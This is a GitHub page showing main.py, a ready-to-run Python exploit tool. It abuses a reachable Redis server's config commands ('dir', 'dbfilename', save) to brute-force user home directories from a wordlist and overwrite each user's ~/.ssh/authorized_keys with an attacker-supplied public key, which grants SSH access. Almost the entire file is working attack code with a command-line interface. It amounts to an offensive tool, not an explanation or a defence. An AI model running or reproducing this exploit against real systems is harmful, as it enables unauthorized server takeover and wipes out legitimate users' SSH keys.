-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
159 lines (135 loc) · 7.63 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import redis
import argparse
import random
import string
def getRandomString(length = 6):
return "".join([random.choice(string.ascii_letters) for _ in range(0, length)])
def getRedisInstance(host: str, port: int, password: str, dbNum: int):
return redis.Redis(
host=host,
port=port,
db=dbNum,
password=password,
socket_keepalive=True
)
def doCleanupOnRedisServer(redisInstance:redis.Redis, sshAuthorizedKeyKeyName: str, prevDir: str, prevDbFilename: str):
print("[+] Performing cleanup on target Redis server")
# Remove stored SSH public key from memory
if sshAuthorizedKeyKeyName != "" and redisInstance.get(name=sshAuthorizedKeyKeyName):
try:
result = redisInstance.delete(sshAuthorizedKeyKeyName)
if result != 0:
print("\t[+] Deleted SSH public key stored at key '{}'".format(sshAuthorizedKeyKeyName))
else:
raise Exception
except Exception as e:
print("\t[!] Failed to remove SSH public key stored at key '{}'".format(sshAuthorizedKeyKeyName))
# Restore changed configs
if prevDir != "" and prevDir != redisInstance.config_get(pattern = "dir").get("dir"):
try:
result = redisInstance.config_set(name = "dir", value=prevDir)
if not result:
raise Exception
print("\t[+] Reset config key 'dir' back to '{}'".format(prevDir))
except Exception as e:
print("\t[!] Failed to reset config key 'dir' back to '{}'".format(prevDir))
if prevDbFilename != "" and prevDbFilename != redisInstance.config_get(pattern = "dbfilename").get("dbfilename"):
try:
result = redisInstance.config_set(name = "dbfilename", value=prevDbFilename)
if not result:
raise Exception
print("\t[+] Reset config key 'dbfilename' back to '{}'".format(prevDbFilename))
except Exception as e:
print("\t[!] Failed to reset config key 'dbfilename' back to '{}'".format(prevDbFilename))
def bruteforceAndWriteSshKeys(redisInstance: redis.Redis, usernamesFilepath: str, sshAuthorizedKeysDirTemplate: str, sshAuthorizedKeyFilepath):
# Read in SSH public key
sshAuthorizedKeyFile = open(sshAuthorizedKeyFilepath, "r")
sshAuthorizedKey = sshAuthorizedKeyFile.read()
sshAuthorizedKeyFile.close()
if "PRIVATE KEY" in sshAuthorizedKey:
print("[!] --public must point to the public key, NOT THE PRIVATE KEY. Consider reading up on this if you are unsure what you're about to do.")
return
print("[+] SSH Authorized key read as:\n{}".format(sshAuthorizedKey))
# Set SSH public key in a Redis key
try:
sshAuthorizedKeyKeyName = getRandomString(10)
result = redisInstance.set(name=sshAuthorizedKeyKeyName, value="\n\n{}\n\n".format(sshAuthorizedKey))
if not result:
raise Exception
print("[+] SSH Authorized key set in Redis at '{}' key".format(sshAuthorizedKeyKeyName))
except Exception as e:
print("[!] Failed to store SSH public key on the server", e)
doCleanupOnRedisServer(redisInstance=redisInstance, sshAuthorizedKeyKeyName=sshAuthorizedKeyKeyName, prevDir="", prevDbFilename="")
return
# Bruteforce user SSH directories
print("[+] Starting user SSH directory bruteforce with template: '{}'".format(sshAuthorizedKeysDirTemplate))
## Save previous config
try:
prevDir = redisInstance.config_get(pattern="dir").get("dir")
prevDbFilename = redisInstance.config_get(pattern="dbfilename").get("dbfilename")
print("[+] Noted previous configs; dir: '{}', dbfilename: '{}'".format(prevDir, prevDbFilename))
except Exception as e:
print("[!] Failed to save previous config", e)
doCleanupOnRedisServer(redisInstance=redisInstance, sshAuthorizedKeyKeyName=sshAuthorizedKeyKeyName, prevDir=prevDir, prevDbFilename=prevDbFilename)
return
## Change dbfilename to store SSH public key
try:
result = redisInstance.config_set(name="dbfilename", value="authorized_keys")
if not result:
raise Exception
except Exception as e:
print("[!] Failed to change 'dbfilename' to 'authorized_keys'", e)
doCleanupOnRedisServer(redisInstance=redisInstance, sshAuthorizedKeyKeyName=sshAuthorizedKeyKeyName, prevDir=prevDir, prevDbFilename=prevDbFilename)
return
## Start bruteforcing user SSH directories and storing public key
try:
with open(usernamesFilepath, "r") as usernamesFile:
for username in usernamesFile:
try:
usernameToUse = username.rstrip()
sshAuthorizedKeyFilepath = sshAuthorizedKeysDirTemplate.replace("USER", usernameToUse)
# Check if user exists
userHome = "/".join(sshAuthorizedKeyFilepath.split("/")[:-1])
resultUserExists = redisInstance.config_set(name = "dir", value=userHome)
if not resultUserExists:
raise Exception
print("[+] User '{}' exists at '{}'".format(usernameToUse, userHome))
# Set SSH folder
result = redisInstance.config_set(name = "dir", value=sshAuthorizedKeyFilepath)
if not result:
raise Exception
# Write SSH public key to authorized_keys
result = redisInstance.save()
if not result:
raise Exception
print("\t[>>] Overwritten '{}/authorized_keys'".format(sshAuthorizedKeyFilepath))
except Exception as e:
pass
except FileNotFoundError:
print("[!] Usernames wordlist '{}' does not exist".format(usernamesFilepath))
# Restore changed configs
doCleanupOnRedisServer(redisInstance=redisInstance, sshAuthorizedKeyKeyName=sshAuthorizedKeyKeyName, prevDir=prevDir, prevDbFilename=prevDbFilename)
if __name__ == "__main__":
# Parse args
parser = argparse.ArgumentParser()
parser.add_argument("-H", "--host", action="store", default="127.0.0.1", help="Target Redis server's IP address; default: 127.0.0.1")
parser.add_argument("-P", "--port", action="store", default="6379", help="Target Redis server's port; default: 6379")
parser.add_argument("-p", "--password", action="store", default="", help="Login password; default: ''")
parser.add_argument("-n", "--database", action="store", default="0", help="DB number; default: 0")
parser.add_argument("-w", "--usernames", action="store", help="Usernames wordlist to use for bruteforcing")
parser.add_argument("--public", action="store", help="The public SSH key to overwrite; use 'ssh-keygen' to generate the key pair")
parser.add_argument("-d", "--dir", action="store", default="/home/USER/.ssh", help="User SSH directory format; must contain 'USER' placeholder; default: '/home/USER/.ssh'")
args = parser.parse_args()
host = args.host
port = int(args.port)
password = args.password if args.password != "" else None
dbNum = int(args.database)
usernamesFilepath = args.usernames
sshAuthorizedKeyFilepath = args.public
sshAuthorizedKeysDirTemplate = args.dir
# Login
redisInstance = getRedisInstance(host=host, port=port, password=password, dbNum=dbNum)
# Bruteforce
bruteforceAndWriteSshKeys(redisInstance=redisInstance, usernamesFilepath=usernamesFilepath, sshAuthorizedKeyFilepath=sshAuthorizedKeyFilepath, sshAuthorizedKeysDirTemplate=sshAuthorizedKeysDirTemplate)
#Close the instance
redisInstance.close()